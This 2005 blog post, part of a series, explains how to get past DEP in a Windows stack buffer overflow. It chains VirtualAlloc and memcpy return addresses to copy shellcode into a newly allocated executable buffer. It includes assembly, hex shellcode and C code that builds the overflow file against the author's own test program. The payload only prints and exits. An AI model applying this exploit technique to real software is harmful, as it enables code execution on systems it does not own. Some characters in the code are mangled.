Buffer overflow attacks bypassing DEP (NX/XD bits) – part 2 : Code injection

· June 5, 2005

While the attack we’ve seen in the first part are indeed powerful, they are limited to simple calls to functions already linked by the program we’re going to attack. To appreciate full power we should exploit the technique used in the first part for injecting arbitrary code in the program.

The first experiment I tried was calling VirtualProtect to change the permissions on the stack. However it requires to know the exact address that was used in a previous call to VirtualAlloc to work properly, and I couldn’t find an immediate way to know that address. After that I investigated to check if I could trick the memory manager in changin permissions using VirtualAlloc. Doing this I found this wonderful blog article. Take your time and read it, it’s very interesting. Now, that’s time to try his trick on an executable.

The trick

To quickly resume the above cited article, there is infact no need for the code we put in the stack to be in the stack at the moment of execution. We can infact use memcpy to copy our payload on a separate buffer (previously allocated with rwx permissions).

The payload

For this exploit we’re going to have an arbitrary code run on the system. The code in question will be a small loop calling printf 5 times, then calling ExitProcess to (not so) gracefully terminate the host program.


mov ecx, 5
loophere:
mov ebx, (string address)
push ecx
push ebx
mov eax, printf
call eax
pop ebx
pop ecx
loop loophere
push ecx
mov eax, ExitProcess
call eax

The temporary buffer

The temporary buffer will be allocated in memory using VirtualAlloc in an arbitrary location. The address is invented manually, and I think finding a good address giving high probability of success is not difficult. For our example we’ll use 00191000h.

The exploit

Here is how the memory will be layed during our exploit

It should be noted that VirtualAlloc has a __stdcall calling convention (while printf and and memcpy have a __cdecl calling convention). A function using the __stdcall convention will remove its own parameters from the stack, while a __cdecl function will leave them so that the caller can remove them (this behaviour of __cdecl is to support variadic functions like printf). This is very handy for us, since if VirtualAlloc were a __cdecl function we would have to find a way to remove those 4 parameters from the stack. Note, however, that this would have not been such a big problem. Finding a code with 4 pops and a ret would have been sufficient to avoid the problem (you can find such a code at the end of the close() function in the CRT code). However VirtualAlloc is __stdcall, so no problem at all ;)

The steps are :

  1. Filling the buffer[] with a copy of our payload. The payload should use relative addresses whenever it cans, and absolute addresses based on what we already know about the program (e.i. system calls entry points)
  2. Trampling the buffer with ad-hoc data to call VirtualAlloc, with a return address pointing to memcpy
  3. Trampling the buffer with the data needed for memcpy, with a return address pointing to our buffer

This is the result :

The code to create the data file then is :


FILE* F = fopen("G:\\prg\\BufferHacker\\Release\\hack1", "wb");

char buf[1 < < 12];
int _stack = 0x0013FAE4; // esp value at beginning of 1024kb
int aprintf = 0×401090; // address of memcpy function
int amemcpy = 0×402530; // address of memcpy function
int avalloc = 0x004072ce; // address of VirtualAlloc function
int agetlasterr = 0x0040723e; // address of GetLastError for debug! ;)
int rettomain = 0×00401633; // address of return to crt
int aexitprocess = 0×00407250; // address of ExitProcess

DWORD dwprotect = PAGE_EXECUTE_READWRITE;
DWORD dwsize = 512;
DWORD dwalloctype = MEM_COMMIT;
DWORD dwaddress = 0×191000;

strcpy(buf, “Success! ; ) – # %d\n”);

char shellcode[] =
{
‘\xB9′,’\x05′,’\x00′,’\x00′,’\x00′, // mov ecx, 05
‘\xBB’,’\x00′,’\x11′,’\x19′,’\x00′, // mov ebx, 0×191100
‘\x51′, // push ecx
‘\x53′, // push ebx
‘\xB8′,’\x90′,’\x10′,’\x40′,’\x00′, // mov eax, printf
‘\xFF’,’\xD0′, // call eax
‘\x5B’, // pop ebx
‘\x59′, // pop ecx
‘\xE2′,’\xEE’, // loop to the mov ebx..
‘\x51′, // push ecx
‘\xB8′,’\x50′,’\x72′,’\x40′,’\x00′, // mov eax, ExitProcess
‘\xFF’,’\xD0′, // call eax
‘\xCC’ // int 3 (never reached)
};

fwrite(shellcode, sizeof(shellcode), 1, F);
fwrite(buf, 256 – sizeof(shellcode), 1, F);
fwrite(buf, 768, 1, F);

//LPVOID VirtualAlloc(
// LPVOID lpAddress, // region to reserve or commit
// SIZE_T dwSize, // size of region
// DWORD flAllocationType, // type of allocation
// DWORD flProtect // type of access protection
//);
fwrite(&avalloc, 4, 1, F); //VirtualAlloc()
fwrite(&amemcpy, 4, 1, F); //after VirtualAlloc ret to memcpy
fwrite(&dwaddress, 4, 1, F); // lpAddress
fwrite(&dwsize, 4, 1, F); // dwSize
fwrite(&dwalloctype, 4, 1, F); // flAllocationType
fwrite(&dwprotect, 4, 1, F); // flProtect
//void *memcpy(
// void *dest,
// const void *src,
// size_t count
//);
fwrite(&dwaddress, 4, 1, F); //retaddress from memcpy
fwrite(&dwaddress, 4, 1, F); //void *dest
fwrite(&_stack, 4, 1, F); //const void *src
fwrite(&dwsize, 4, 1, F); //size_t count

fclose(F);
Here you can see a dump of the data file along with another shot of the result.

links to other posts of this serie
Buffer overflow attacks bypassing DEP (NX/XD bits) – part 1 : Simple Call
Buffer overflow attacks bypassing DEP (NX/XD bits) – part 2 : Code injection